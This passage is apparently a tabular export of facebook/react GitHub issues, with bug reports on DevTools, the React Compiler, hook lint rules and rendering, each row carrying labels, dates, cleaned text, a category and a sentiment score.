> This extension requires permissions to access the page's React tree, but it does not transmit any data remotely. It is fully open source, and you can find its source code at **https://github.com/facebook/react/tree/master/packages/react-devtools-extensions**.

The link to the source code points to the master branch but it should be the main branch because the master branch doesn't exist anymore. Not that it matters much since you get redirected to the main branch anyways but I thought it would be nice to point it out.

### How often does this bug happen?

Every time

### DevTools package (automated)

_No response_

### DevTools version (automated)

_No response_

### Error message (automated)

_No response_

### Error call stack (automated)

```text

```

### Error component stack (automated)

```text

```

### GitHub query string (automated)

```text

```","Type: Bug,Status: Unconfirmed,Component: Developer Tools",2025-08-08 16:08:15+00:00,2025-10-08 13:14:26+00:00,1,"Type: Bug,Status: Unconfirmed,Component: Developer Tools",60.8793,devtools bug the link that points to the master branch should point to the main branch instead website or app repro steps this extension requires permissions to access the page s react tree but it does not transmit any data remotely it is fully open source and you can find its source code at the link to the source code points to the master branch but it should be the main branch because the master branch doesn t exist anymore not that it matters much since you get redirected to the main branch anyways but i thought it would be nice to point it out how often does this bug happen every time devtools package automated no response devtools version automated no response error message automated no response error call stack automated error component stack automated github query string automated,bug,-0.9713
facebook/react,3304002402,[Compiler Bug]: (BuildHIR::lowerStatement) Handle TryStatement with a finalizer ('finally') clause,"### What kind of issue is this?

- [ ] React Compiler core (the JS output is incorrect, or your app works incorrectly after optimization)
- [x] babel-plugin-react-compiler (build issue installing or using the Babel plugin)
- [ ] eslint-plugin-react-compiler (build issue installing or using the eslint plugin)
- [ ] react-compiler-healthcheck (build issue installing or using the healthcheck script)

### Link to repro

https://playground.react.dev/#N4Igzg9grgTgxgUxALhAMygOzgFwJYSYAEAogB4CGAtgA4A2CAFAJRHAA6xRG2+hROBGBws2nIhIEwAnmMzjJAXyJwKOOAAs5CicrR5MFOnVkd5XXQsUKFMBDljFGOogB4AJngBuRQgGE6PDgAawBeYEFhRQA+FwkACQRjCCIAdwgYOnciF1cAek8vWK5mAG5ORRBFIA

### Repro steps

React compiler breaks when using `finally` clause. I am not sure whether it is a bug or it's meant to be like this. When I was skimming trough code of the compiler I came across this code in `BuildHIR.ts`.

https://github.com/facebook/react/blob/main/compiler/packages/babel-plugin-react-compiler/src/HIR/BuildHIR.ts#L1284-L1291
<img width=""843"" height=""163"" alt=""Image"" src=""https://github.com/user-attachments/assets/9fdb1b9d-8b39-4114-89c2-863211b70fe4"" />

My question is whether this is just not implemented or whether it meant to be like this. If this implementation is correct, maybe you could suggest an eslint rule I can use to prevent having `finally` clause. Is it me who does something wrong?

### How often does this bug happen?

Every time

### What version of React are you using?

19

### What version of React Comp... [TRUNCATED]","Type: Bug,Status: Unconfirmed",2025-08-08 13:08:43+00:00,2025-08-08 21:47:31+00:00,8,"Type: Bug,Status: Unconfirmed",0.3603,compiler bug buildhir lowerstatement handle trystatement with a finalizer finally clause what kind of issue is this react compiler core the js output is incorrect or your app works incorrectly after optimization x babel plugin react compiler build issue installing or using the babel plugin eslint plugin react compiler build issue installing or using the eslint plugin react compiler healthcheck build issue installing or using the healthcheck script link to repro repro steps react compiler breaks when using clause i am not sure whether it is a bug or it s meant to be like this when i was skimming trough code of the compiler i came across this code in my question is whether this is just not implemented or whether it meant to be like this if this implementation is correct maybe you could suggest an eslint rule i can use to prevent having clause is it me who does something wrong how often does this bug happen every time what version of react are you using what version of react comp truncated,bug,-0.7478
facebook/react,3300744178,"[DevTools Bug] Cannot add node ""1"" because a node with that id is already in the Store.","### Website or app

localhost

### Repro steps

messages

### How often does this bug happen?

Every time

### DevTools package (automated)

react-devtools-extensions

### DevTools version (automated)

6.1.5-5d87cd2244

### Error message (automated)

Cannot add node ""1"" because a node with that id is already in the Store.

### Error call stack (automated)

```text
at chrome-extension://fmkadmapgofadopljbjfkapdkoienihi/build/main.js:1:1236392
    at v.emit (chrome-extension://fmkadmapgofadopljbjfkapdkoienihi/build/main.js:1:1203447)
    at chrome-extension://fmkadmapgofadopljbjfkapdkoienihi/build/main.js:1:1205054
    at bridgeListener (chrome-extension://fmkadmapgofadopljbjfkapdkoienihi/build/main.js:1:1620565)
```

### Error component stack (automated)

```text

```

### GitHub query string (automated)

```text
https://api.github.com/search/issues?q=Cannot add node  because a node with that id is already in the Store. in:title is:issue is:open is:public label:""Component: Developer Tools"" repo:facebook/react
```","Type: Bug,Status: Unconfirmed,Component: Developer Tools",2025-08-07 14:26:11+00:00,2025-10-12 13:02:46+00:00,8,"Type: Bug,Status: Unconfirmed,Component: Developer Tools",65.9421,devtools bug cannot add node because a node with that id is already in the store website or app localhost repro steps messages how often does this bug happen every time devtools package automated react devtools extensions devtools version automated d cd error message automated cannot add node because a node with that id is already in the store error call stack automated error component stack automated github query string automated,bug,-0.9325
facebook/react,3291829585,"Bug: ""Internal React error: Expected static flag was missing.""","# ""Internal React error: Expected static flag was missing. Please notify the React team.""

This error message appeared after I created the component in the following code example. I pinpointed the issue down to the recursive nature of the component, which seems to confuse react in a way that it does not handle the early return *before* the calls to react hooks (which I placed there by accident) correctly.

```tsx
""use client"";

import { useEffect, useState } from ""react"";

/* dummy type */
type ProductGroup = { id: string, name: string };

type SubGroupProps = {
    depth: number,
    label: string,
    root: ProductGroup[],
    action: (id: string) => Promise<ProductGroup[]>,
}

/* create recursive subgroups to select from */
function SubGroupFilter({ depth, label, root, action }: Readonly<SubGroupProps>) {

    /* ------- BUG FROM HERE ------- */

    /* early return */
    if (!root.length)
        return;

    /* does not get catched!! */

    const [index, setIndex] = useState<number>(0);
    const [items, setItems] = useState<ProductGroup[]>([]);

    useEffect(() => {
        action(root[index].id).then(setItems);
    }, [root, action, index, setItems]);

    /* ---------- TO HERE ---------- */

    return (
        <>
            <fieldset>
                <legend>{label}</legend>
                <select name=""product-group"" onChange={event => setIndex(event.currentTarget.selectedIndex)}>
                    {root.map(item => (
                        <option key={ite... [TRUNCATED]","Status: Unconfirmed,Resolution: Stale",2025-08-05 06:53:15+00:00,2025-11-10 08:08:02+00:00,2,"Status: Unconfirmed,Resolution: Stale",97.0519,internal react error expected static flag was missing internal react error expected static flag was missing please notify the react team this error message appeared after i created the component in the following code example i pinpointed the issue down to the recursive nature of the component which seems to confuse react in a way that it does not handle the early return before the calls to react hooks which i placed there by accident correctly tsx use client import useeffect usestate from react dummy type type productgroup id string name string type subgroupprops depth number label string root productgroup action id string promise create recursive subgroups to select from function subgroupfilter depth label root action readonly bug from here early return if root length return does not get catched const index setindex usestate const items setitems usestate useeffect action root index id then setitems root action index setitems to here return label setindex event currenttarget selectedindex root map item option key ite truncated,bug,-0.9081
facebook/react,3291775523,Bug:,"<!--
  Please provide a clear and concise description of what the bug is. Include
  screenshots if needed. Please test using the latest version of the relevant
  React packages to make sure your issue has not already been fixed.
-->

React version:

## Steps To Reproduce

1.
2.

<!--
  Your bug will get fixed much faster if we can run your code and it doesn't
  have dependencies other than React. Issues without reproduction steps or
  code examples may be immediately closed as not actionable.
-->

Link to code example:

<!--
  Please provide a CodeSandbox (https://codesandbox.io/s/new), a link to a
  repository on GitHub, or provide a minimal code example that reproduces the
  problem. You may provide a screenshot of the application if you think it is
  relevant to your bug report. Here are some tips for providing a minimal
  example: https://stackoverflow.com/help/mcve.
-->

## The current behavior


## The expected behavior
",Status: Unconfirmed,2025-08-05 06:32:03+00:00,2025-08-05 07:01:36+00:00,2,Status: Unconfirmed,0.0205,of what the bug is include if needed please test using the latest version of the relevant react packages to make sure your issue has not already been fixed react version your bug will get fixed much faster if we can run your code and it doesn t have dependencies other than react issues without reproduction steps or code examples may be immediately closed as not actionable link to code example please provide a codesandbox a link to a repository on github or provide a minimal code example that reproduces the problem you may provide a screenshot of the application if you think it is relevant to your bug report here are some tips for providing a minimal example the current behavior the,bug,-0.7003
facebook/react,3291775367,Bug: Troy Wilson Landry,"<!--
  Please provide a clear and concise description of what the bug is. Include
  screenshots if needed. Please test using the latest version of the relevant
  React packages to make sure your issue has not already been fixed.
-->

React version:

## Steps To Reproduce

1.
2.

<!--
  Your bug will get fixed much faster if we can run your code and it doesn't
  have dependencies other than React. Issues without reproduction steps or
  code examples may be immediately closed as not actionable.
-->

Link to code example:

<!--
  Please provide a CodeSandbox (https://codesandbox.io/s/new), a link to a
  repository on GitHub, or provide a minimal code example that reproduces the
  problem. You may provide a screenshot of the application if you think it is
  relevant to your bug report. Here are some tips for providing a minimal
  example: https://stackoverflow.com/help/mcve.
-->

## The current behavior


## The expected behavior
",Status: Unconfirmed,2025-08-05 06:32:00+00:00,2025-08-05 07:00:54+00:00,0,Status: Unconfirmed,0.0201,troy wilson landry of what the bug is include if needed please test using the latest version of the relevant react packages to make sure your issue has not already been fixed react version your bug will get fixed much faster if we can run your code and it doesn t have dependencies other than react issues without reproduction steps or code examples may be immediately closed as not actionable link to code example please provide a codesandbox a link to a repository on github or provide a minimal code example that reproduces the problem you may provide a screenshot of the application if you think it is relevant to your bug report here are some tips for providing a minimal example the current behavior the,bug,-0.7003
facebook/react,3291311970,[Compiler Bug]: Compiler introduces unnecessary breaks that skips its own memoization,"### What kind of issue is this?

- [x] React Compiler core (the JS output is incorrect, or your app works incorrectly after optimization)
- [ ] babel-plugin-react-compiler (build issue installing or using the Babel plugin)
- [ ] eslint-plugin-react-compiler (build issue installing or using the eslint plugin)
- [ ] react-compiler-healthcheck (build issue installing or using the healthcheck script)

### Link to repro

https://playground.react.dev/#N4Igzg9grgTgxgUxALhAgHgBwjALgAgBMEAzAQygBsCSoA7OXASwjvwFkBPAQU0wApg+XJ0wJ8AXwCU+YAB02+OKzAEAtgjUQmALwSF8AXnxQwCdpoj9+MwwD5ZC-M6UqCANzKUo44xjF0YEzuCDYA3E4uTCT4-CJiRobGcuAAFji4APq4CDBqKTLyii74MAi4sGye3ggRxZL4CJRmjvXO1T4AdGpQuGQ54ZElZRUwVV4+dSUSkRIANPgA2vEIALpSU6XllfgAPITBdgASTZQQ+ADqOJQGwBpauvoSuwD0B+52dTN0IBJAA

(Update: made the repro shorter and more generic)

### Repro steps

1. See the playground link.
2. Look at the two `break`s the compiler introduced in the output. The memoization is skipped by the two `break`s, making the result of `useMemo` always new in each render.

### How often does this bug happen?

Every time

### What version of React are you using?

Both 18.3.1 and the version used by Playground

### What version of React Compiler are you using?

Both 19.1.0-rc.2 and the version used by Playground","Type: Bug,Component: React Compiler",2025-08-05 02:20:05+00:00,2025-09-04 00:44:43+00:00,2,"Type: Bug,Component: React Compiler",29.9338,compiler bug compiler introduces unnecessary breaks that skips its own memoization what kind of issue is this x react compiler core the js output is incorrect or your app works incorrectly after optimization babel plugin react compiler build issue installing or using the babel plugin eslint plugin react compiler build issue installing or using the eslint plugin react compiler healthcheck build issue installing or using the healthcheck script link to repro update made the repro shorter and more generic repro steps see the playground link look at the two s the compiler introduced in the output the memoization is skipped by the two s making the result of always new in each render how often does this bug happen every time what version of react are you using both and the version used by playground what version of react compiler are you using both rc and the version used by playground,bug,-0.5267
facebook/react,3288278355,Bug: `Transition was aborted because of invalid state` when browser tab not active,"<!--
  Please provide a clear and concise description of what the bug is. Include
  screenshots if needed. Please test using the latest version of the relevant
  React packages to make sure your issue has not already been fixed.
-->

React version: 19.1.1

## Steps To Reproduce

1. Call `document.startViewTransition` when the browser tab is not active/visible
2. Go back/select the browser tab - a `ViewTransition` error was thrown

<img width=""976"" height=""227"" alt=""Image"" src=""https://github.com/user-attachments/assets/dcc6ab52-7727-49e9-bbd5-9947e8038708"" />

<img width=""566"" height=""280"" alt=""Image"" src=""https://github.com/user-attachments/assets/234c4923-acd6-49c6-9748-bd7e006ed132"" />

<img width=""622"" height=""631"" alt=""Image"" src=""https://github.com/user-attachments/assets/8da67501-61d8-43a7-834a-05ee3fa6936f"" />

I can provide a repro if necessary, but I think this is fairly straightforward.

- According to the ViewTransition spec, this error is thrown when the document is not visible, as observed above ([source](https://drafts.csswg.org/css-view-transitions/#dom-viewtransition-ready:~:text=If%20document%E2%80%99s%20visibility%20state%20is%20%22hidden%22%2C%20then%20skip%20transition%20with%20an%20%22InvalidStateError%22%20DOMException%2C%20and%20return%20transition.))

`react-dom` does not ignore all `InvalidStateError`s, and surfaces the error here:
- https://github.com/facebook/react/blob/c499adf8c89bbfd884f4d3a58c4e510001383525/packages/react-dom-bindings/src/client... [TRUNCATED]",Status: Unconfirmed,2025-08-04 06:59:51+00:00,2025-09-10 13:07:12+00:00,5,Status: Unconfirmed,37.2551,when browser tab not active of what the bug is include if needed please test using the latest version of the relevant react packages to make sure your issue has not already been fixed react version call when the browser tab is not active visible go back select the browser tab a error was thrown i can provide a repro if necessary but i think this is fairly straightforward according to the viewtransition spec this error is thrown when the document is not visible as observed above source does not ignore all s and surfaces the error here truncated,bug,-0.8516
facebook/react,3287679602,There's a lot of content on this but I'm confused 😵‍💫. The eslint rule `react-hooks/exhaustive-deps` throws a warning when we put nested properties from hook-returned objects into the dependency array.,"There's a lot of content on this but I'm confused 😵‍💫. The eslint rule `react-hooks/exhaustive-deps` throws a warning when we put nested properties from hook-returned objects into the dependency array.

Here's the problem:
```
// ✅ Allowed
const obj1 = {a: ""abc""};
useMemo(() => obj1.a, [obj1.a]);

// ✅ Allowed  
const obj2 = useMemo(() => ({a: ""abc""}), []);
useMemo(() => obj2.a, [obj2.a]);

// ❌ Not allowed
const obj3 = useDisclosure();
useMemo(() => obj3.onOpen, [obj3.onOpen]); // missing dependencies: 'obj3'
```
One of the issues where this is described is #24300 . @gaearon wrote that the reason this is forbidden has to do with `useDisclosure`'s return value needing to be immutable.

However, this does not make sense. In the example above: `obj1` is just as mutable as `obj3`. And overall, I fail to see why the mutability of the enclosing object matters in the first place. In my head, it is the reference to the function `onOpen` that matters. The fact that I'm allowed to de-structure the value further illustrates this:

```
// ✅ Allowed
const { onOpen } = useDisclosure();
useMemo(() => onOpen, [onOpen]);
```

I'm struggling to understand this and can't find any clear reason why we can't have a nested property from a hook-returned object as a dependency.

_Originally posted by @florianmartens in https://github.com/facebook/react/discussions/34086_",,2025-08-04 00:30:35+00:00,2025-08-05 01:07:54+00:00,5,nan,1.0259,there s a lot of content on this but i m confused the eslint rule throws a warning when we put nested properties from hook returned objects into the dependency array there s a lot of content on this but i m confused the eslint rule throws a warning when we put nested properties from hook returned objects into the dependency array here s the problem one of the issues where this is described is gaearon wrote that the reason this is forbidden has to do with s return value needing to be immutable however this does not make sense in the example above is just as mutable as and overall i fail to see why the mutability of the enclosing object matters in the first place in my head it is the reference to the function that matters the fact that i m allowed to de structure the value further illustrates this i m struggling to understand this and can t find any clear reason why we can t have a nested property from a hook returned object as a dependency originally posted by florianmartens in,others,-0.9573
facebook/react,3287245243,Bug:,"<!--
  Please provide a clear and concise description of what the bug is. Include
  screenshots if needed. Please test using the latest version of the relevant
  React packages to make sure your issue has not already been fixed.
-->

React version:

## Steps To Reproduce

1.
2.

<!--
  Your bug will get fixed much faster if we can run your code and it doesn't
  have dependencies other than React. Issues without reproduction steps or
  code examples may be immediately closed as not actionable.
-->

Link to code example:

<!--
  Please provide a CodeSandbox (https://codesandbox.io/s/new), a link to a
  repository on GitHub, or provide a minimal code example that reproduces the
  problem. You may provide a screenshot of the application if you think it is
  relevant to your bug report. Here are some tips for providing a minimal
  example: https://stackoverflow.com/help/mcve.
-->

## The current behavior


## The expected behavior
",Status: Unconfirmed,2025-08-03 14:49:08+00:00,2025-08-03 16:45:11+00:00,0,Status: Unconfirmed,0.0806,of what the bug is include if needed please test using the latest version of the relevant react packages to make sure your issue has not already been fixed react version your bug will get fixed much faster if we can run your code and it doesn t have dependencies other than react issues without reproduction steps or code examples may be immediately closed as not actionable link to code example please provide a codesandbox a link to a repository on github or provide a minimal code example that reproduces the problem you may provide a screenshot of the application if you think it is relevant to your bug report here are some tips for providing a minimal example the current behavior the,bug,-0.7003
facebook/react,3284421486,"Bug: renderToStaticMarkup fails with client-side code, suggesting a server-only context limitation","Description of the bug
When using renderToStaticMarkup to render a React component that contains client-side code (e.g., hooks like useState, event handlers like onClick, or browser-specific APIs), the function throws a runtime error. This behavior occurs even when the component is not actively being used in a browser environment.

To Reproduce
Steps to reproduce the behavior:

Create a simple React functional component that uses useState or useEffect without a dependency on a server-side framework.

Attempt to render this component using ReactDOMServer.renderToStaticMarkup().

The render process will fail with an error similar to ""Hooks can only be called inside the body of a function component.""

Expected behavior
The renderToStaticMarkup function should either:
a) Gracefully handle client-side code, perhaps by ignoring it or returning an empty string where it would be rendered, or
b) Provide a more explicit and descriptive error message that clearly states it cannot process client-side components.

Actual behavior
The function crashes with an error that is not immediately clear to the developer, suggesting a fundamental conflict between the static rendering process and the component's reliance on client-side state/effects.

Environment

React Version: [e.g., 18.2.0]

Node.js Version: [e.g., 18.12.1]

Browser: Not applicable, as the error occurs during server-side rendering.

Additional context
This limitation makes it difficult to use renderToStaticMarkup for tasks like ge... [TRUNCATED]","Status: Unconfirmed,Resolution: Stale",2025-08-01 16:07:15+00:00,2025-11-07 08:07:42+00:00,3,"Status: Unconfirmed,Resolution: Stale",97.667,rendertostaticmarkup fails with client side code suggesting a server only context limitation description of the bug when using rendertostaticmarkup to render a react component that contains client side code e g hooks like usestate event handlers like onclick or browser specific apis the function throws a runtime error this behavior occurs even when the component is not actively being used in a browser environment to reproduce the behavior create a simple react functional component that uses usestate or useeffect without a dependency on a server side framework attempt to render this component using reactdomserver rendertostaticmarkup the render process will fail with an error similar to hooks can only be called inside the body of a function component the rendertostaticmarkup function should either a gracefully handle client side code perhaps by ignoring it or returning an empty string where it would be rendered or b provide a more explicit and descriptive error message that clearly states it cannot process client side components the function crashes with an error that is not immediately clear to the developer suggesting a fundamental conflict between the static rendering process and the component s reliance on client side state effects environment react version e g node js version e g browser not applicable as the error occurs during server side rendering this limitation makes it difficult to use rendertostaticmarkup for tasks like ge truncated,bug,-0.9717
facebook/react,3283331845,[Compiler Bug]: False positive memoization for spead/rest props,"### What kind of issue is this?

- [x] React Compiler core (the JS output is incorrect, or your app works incorrectly after optimization)
- [ ] babel-plugin-react-compiler (build issue installing or using the Babel plugin)
- [ ] eslint-plugin-react-compiler (build issue installing or using the eslint plugin)
- [ ] react-compiler-healthcheck (build issue installing or using the healthcheck script)

### Link to repro

https://playground.react.dev/#N4Igzg9grgTgxgUxALhAHQHZwhsAXAAgGUB3ASwFsAbAQwwSIGsEqE8cCBeAgCmEwIF8AT1YAaAQQB0MsM1bsMABRgQADmEwBfAJRcAfAX4ZBAcihgEBCggoRTAbgGSYbWCZ6TBAHgBqZBBICPAR8AEkAEU40cHJqOgZ5NhwYoTxRBE5gEVYtfS9BAm8mFmSTYBkpOVLFFXUwLQIAenyTQu8m-0DWwR0nDC1+kC0gA

### Repro steps

1. Spread an object from props 
2. Check compiler memoization result

As you see from react compiler output 
the check for `skeletonProps`  object was added and it is always `false` (since `{} !== {}`)

<img width=""1200"" height=""717"" alt=""Image"" src=""https://github.com/user-attachments/assets/6eb170a6-aacf-4a24-b535-70046caeecd1"" />

### How often does this bug happen?

Every time

### What version of React are you using?

19.0.0

### What version of React Compiler are you using?

19.1.0-rc.2",Component: React Compiler,2025-08-01 10:06:06+00:00,2025-08-01 18:24:36+00:00,1,Component: React Compiler,0.3462,compiler bug false positive memoization for spead rest props what kind of issue is this x react compiler core the js output is incorrect or your app works incorrectly after optimization babel plugin react compiler build issue installing or using the babel plugin eslint plugin react compiler build issue installing or using the eslint plugin react compiler healthcheck build issue installing or using the healthcheck script link to repro repro steps spread an object from props check compiler memoization result as you see from react compiler output the check for object was added and it is always since how often does this bug happen every time what version of react are you using what version of react compiler are you using rc,bug,0.0516
facebook/react,3282897369,"Bug: ESLint react-hooks/rules-of-hooks: false positive `XXX` is a function created with React Hook ""useEffectEvent"", and can only be called from the same component","

`eslint-plugin-react-hooks` version: `0.0.0-experimental-c260b38d-20250731`

## Steps To Reproduce

```jsx
export const MyComponent = () => {
    const onView = useEffectEvent(() => {
        // On view
    });

    React.useEffect(() => {
        onView(); // ❌ Error: `onView` is a function created with React Hook ""useEffectEvent"", and can only be called from the same component
    }, []);

    return <div />;
};
```

This is a bit weird to get this reported as this seems to be correct: it's used in the same `useEffect`, not exported.

Also the same code works with the version `0.0.0-experimental-12bc60f5-20250613`

## The current behavior

This error is thrown

## The expected behavior

This code should pass as per the react-hooks rules regarding `useEffectEvent`","Status: Unconfirmed,Resolution: Stale",2025-08-01 07:30:33+00:00,2025-10-30 12:04:47+00:00,4,"Status: Unconfirmed,Resolution: Stale",90.1904,eslint react hooks rules of hooks false positive is a function created with react hook useeffectevent and can only be called from the same component version this is a bit weird to get this reported as this seems to be correct it s used in the same not exported also the same code works with the version the current behavior this error is thrown the this code should pass as per the react hooks rules regarding,bug,0.1027
facebook/react,3280922015,Bug: React 18 vs 19 callback refs,"I'm not entirely sure if this is a bug with React or expected behavior in React 18 vs 19. However, this is something I noticed while I was implementing a custom hook for an IntersectionObserver, and my useEffect was called twice, but my callback ref wasn't in StrictMode. I have created minimal code examples in codesandbox that reproduce the issue I'm seeing. I have viewed the following React documentation pages:
- https://react.dev/reference/react/StrictMode#fixing-bugs-found-by-re-running-ref-callbacks-in-development
- https://18.react.dev/reference/react/StrictMode#fixing-bugs-found-by-re-running-effects-in-development
- https://18.react.dev/learn/manipulating-the-dom-with-refs#how-to-manage-a-list-of-refs-using-a-ref-callback

_Note, there is no mention of callback refs and how they behave in strict mode in React 18's docs that I could find, but perhaps I missed it._

React version: 18.3.1 and 19.1.1

## Steps To Reproduce

1. Reload the page
2. View the console and see the difference in what's logged in 18 vs 19

Link to code examples:
- [React 18 Example](https://codesandbox.io/p/sandbox/react18-strict-mode-test-lmppz5)
- [React 19 Example](https://codesandbox.io/p/sandbox/react19-strict-mode-test-4cdw34)

_Note: I used the default TypeScript sandboxes from codesandbox_

## The current behavior
The callback ref used in React 18 is not called three times in StrictMode.

## The expected behavior
It should display the same output as React 19, where the node is a `HTMLDivEle... [TRUNCATED]","Status: Unconfirmed,Resolution: Stale",2025-07-31 15:39:09+00:00,2025-12-08 18:08:37+00:00,8,"Status: Unconfirmed,Resolution: Stale",130.1038,react vs callback refs i m not entirely sure if this is a bug with react or in react vs however this is something i noticed while i was implementing a custom hook for an intersectionobserver and my useeffect was called twice but my callback ref wasn t in strictmode i have created minimal code examples in codesandbox that reproduce the issue i m seeing i have viewed the following react documentation pages note there is no mention of callback refs and how they behave in strict mode in react s docs that i could find but perhaps i missed it react version and reload the page view the console and see the difference in what s logged in vs link to code examples react example react example note i used the default typescript sandboxes from codesandbox the current behavior the callback ref used in react is not called three times in strictmode the it should display the same output as react where the node is a htmldivele truncated,bug,-0.6897
facebook/react,3278937294,Bug:  eager state miss,"```js

import React, { useState } from 'react';

export function App(props) {
  console.log('App');
  return <Child0 />;
}

function Child0(props) {
  let [state, setState] = useState(0);
  console.log('child0', state);
  return (
    <div onClick={() => setState(1)}>
      child0
      <Child1 />
    </div>
  );
}

function Child1(props) {
  console.log('child1');
  console.log('=======');
  return <div>child1</div>;
}
```

console:
```
App 
child0 0
child1 
=======  (first click)
child0 1
child1 
======= (second click) 
child0 1

(rest click: noop, eager state)
```
Strange, why is child0 1 printed one more time here?

Isn't there eager state? If the state hasn't changed, it shouldn't re-render, right?

I didn't use StrictMode

I debug react: 
```js
 function dispatchSetStateInternal(fiber, queue, action, lane) {
      var update = {
        lane: lane,
        revertLane: 0,
        action: action,
        hasEagerState: !1,
        eagerState: null,
        next: null
      };
      if (isRenderPhaseUpdate(fiber)) enqueueRenderPhaseUpdate(queue, update);
      else {
        var alternate = fiber.alternate;
        if (
          0 === fiber.lanes &&
          (null === alternate || 0 === alternate.lanes) &&
          ((alternate = queue.lastRenderedReducer), null !== alternate)
        ) {
          var prevDispatcher = ReactSharedInternals.H;
          ReactSharedInternals.H = InvalidNestedHooksDispatcherOnUpdateInDEV;
          try {
            var currentState = queue... [TRUNCATED]","Status: Unconfirmed,Resolution: Stale",2025-07-31 02:35:50+00:00,2025-11-05 03:24:37+00:00,2,"Status: Unconfirmed,Resolution: Stale",97.0339,eager state miss console strange why is child printed one more time here isn t there eager state if the state hasn t changed it shouldn t re render right i didn t use strictmode i debug react js function dispatchsetstateinternal fiber queue action lane var update lane lane revertlane action action haseagerstate eagerstate null next null if isrenderphaseupdate fiber enqueuerenderphaseupdate queue update else var alternate fiber alternate if fiber lanes null alternate alternate lanes alternate queue lastrenderedreducer null alternate var prevdispatcher reactsharedinternals h reactsharedinternals h invalidnestedhooksdispatcheronupdateindev try var currentstate queue truncated,bug,0.3818
facebook/react,3278547539,Adding `sideEffects: false` to package.json,"Would it make sense to add `sideEffects: false` to `package.json` in the `react`,`react-dom`, `use-sync-external-store`, `scheduler`, etc. packages? It was already added to the `react-is` package: https://github.com/facebook/react/pull/27701

Adding `sideEffects: false` can enable more tree-shaking, in some cases: [documentation](https://github.com/webpack/webpack/blob/main/examples/side-effects/README.md).","Status: Unconfirmed,Resolution: Stale",2025-07-30 22:02:15+00:00,2026-02-04 05:22:50+00:00,5,"Status: Unconfirmed,Resolution: Stale",188.306,adding to package json would it make sense to add to in the etc packages it was already added to the package adding can enable more tree shaking in some cases documentation,others,-0.2449
facebook/react,3277573376,[Compiler Bug]:,"### What kind of issue is this?

- [ ] React Compiler core (the JS output is incorrect, or your app works incorrectly after optimization)
- [ ] babel-plugin-react-compiler (build issue installing or using the Babel plugin)
- [ ] eslint-plugin-react-compiler (build issue installing or using the eslint plugin)
- [ ] react-compiler-healthcheck (build issue installing or using the healthcheck script)

### Link to repro

zez

### Repro steps

""d

### How often does this bug happen?

Every time

### What version of React are you using?

19.1

### What version of React Compiler are you using?

19.1","Type: Bug,Status: Unconfirmed",2025-07-30 15:39:08+00:00,2025-07-30 16:45:44+00:00,0,"Type: Bug,Status: Unconfirmed",0.0462,compiler bug what kind of issue is this react compiler core the js output is incorrect or your app works incorrectly after optimization babel plugin react compiler build issue installing or using the babel plugin eslint plugin react compiler build issue installing or using the eslint plugin react compiler healthcheck build issue installing or using the healthcheck script link to repro zez repro steps d how often does this bug happen every time what version of react are you using what version of react compiler are you using,bug,-0.5267
facebook/react,3276635687,Using `use()` as name for custom hooks,"### What kind of issue is this?
- [x] React Compiler core (the JS output is incorrect, or your app works incorrectly after optimization)
- [ ] babel-plugin-react-compiler (build issue installing or using the Babel plugin)
- [ ] eslint-plugin-react-compiler (build issue installing or using the eslint plugin)
- [ ] react-compiler-healthcheck (build issue installing or using the healthcheck script)

### Link to repro
[https://playground.react.dev](https://playground.react.dev/#N4Igzg9grgTgxgUxALhASwLYAcIwC4AEASggIZx4A0BwBcMZeCAwhAHZMAeVBUYL7Ljz4IAynlJMCAXwIAzGBAwEA5A3J4VAbgA6bPXHZhCAWQgATUgBtWHBNwIBeOuqa2hBADw09BAmjAAeSwENmQCACMICCsyNl02PwgQsIIACgBKJwA+AgA3CDRzBL84Kwh+cMyc-MLivVkAH142cwQ5NDYEcwJctKhW9s7ujISDI0IRM0srJ3Ssx1zgXzoJ1bsHZxF3ezw06esd7lGVtDl0gEJDDbws5cS-AjwAC0UAdwIuj4BRGEUYNIqKYWawEDB8QgRBC8fg9N5oF6dAgHKwABUUeSKCBgKhOD2kKwYeFgiWuQgS0jGbGuxmRILRGKxMDmaVocGeaCs5gYiWkCyWKxphAA2gFgqFqPw8ABJIIpAC6cxE4kkCDScms-DxgqMMQQADpygBzQHoiCYtrMnmWggAWn8ctCyBU1DFKW1DyF+WsUGhznujwd4rYlBWSRSVX5PgegZpesNEBNKmSoWqcGssXMuJKgYIUtlwbSeBgvrxgekoZjdHKlXmNQDubjsQTSbKFTVWXTVkz2bDj3zjrY6s1CDLjwrK0pekJCGJMESaT7nhRRzw+rNFux3qsvscwDyPoQ0myfb8wHZnO5oQJVc8AHoV4JduvGZaTw88VP9NS1iiACJoNYiYslGDZemyNYIK6g4yHMKL6iImQ5k2BrGoCAFAUaBDWlu9puk6LpBu6VJ+ESJJEaEBAAPzpEu5hoHkeZ4AAnrEe60FEMCWuEKgAIxYJweYxEU2HdIRWCkOY9FsEaPEAEwAAwCSoMjHqeXjPHJ2Qog6BApmwFz3pp765l4ERQHgeDsHpbDMFYaBwAA1nubb8Medntve5mWewJmPPe9F5H5WRVHRDHafSumud0AXhSsn5Uned4EAAKgAEt8BCokQgQAEIADLfCYACCKXSswBAAHLFSY3yiKixXMJl3wABqooERApXo9g4Pg6y0jp-orBuTLhCi... [TRUNCATED]",Type: Question,2025-07-30 11:19:06+00:00,2025-08-05 07:04:04+00:00,2,Type: Question,5.8229,using as name for custom hooks what kind of issue is this x react compiler core the js output is incorrect or your app works incorrectly after optimization babel plugin react compiler build issue installing or using the babel plugin eslint plugin react compiler build issue installing or using the eslint plugin react compiler healthcheck build issue installing or using the healthcheck script link to repro truncated,help,0.3818
facebook/react,3275816488,Bug: Java object is gone Instagram/ Facebook Webview,"In Instagram/Facebook in-app browser (WebView), our React web app crashes with error:
""Uncaught Error: Java object is gone""

This happens when user loads the page after some seconds the error happen. The error does not occur in Chrome/Safari.

We traced the crash to `navigationPerformanceLoggerJavascriptInterface.postMessage`

Tested on latest versions of Facebook & Instagram on Android.

Expected: App should not crash on call.
Actual: WebView terminates interaction or throws fatal error.","Status: Unconfirmed,Resolution: Stale",2025-07-30 06:21:55+00:00,2026-02-15 03:53:44+00:00,14,"Status: Unconfirmed,Resolution: Stale",199.8971,java object is gone instagram facebook webview in instagram facebook in app browser webview our react web app crashes with error uncaught error java object is gone this happens when user loads the page after some seconds the error happen the error does not occur in chrome safari we traced the crash to tested on latest versions of facebook instagram on android expected app should not crash on call actual webview terminates interaction or throws fatal error,bug,-0.9788
facebook/react,3274993898,"Question about ""calling an impure function can produce unstable results..."" lint","### What kind of issue is this?

- [ ] React Compiler core (the JS output is incorrect, or your app works incorrectly after optimization)
- [ ] babel-plugin-react-compiler (build issue installing or using the Babel plugin)
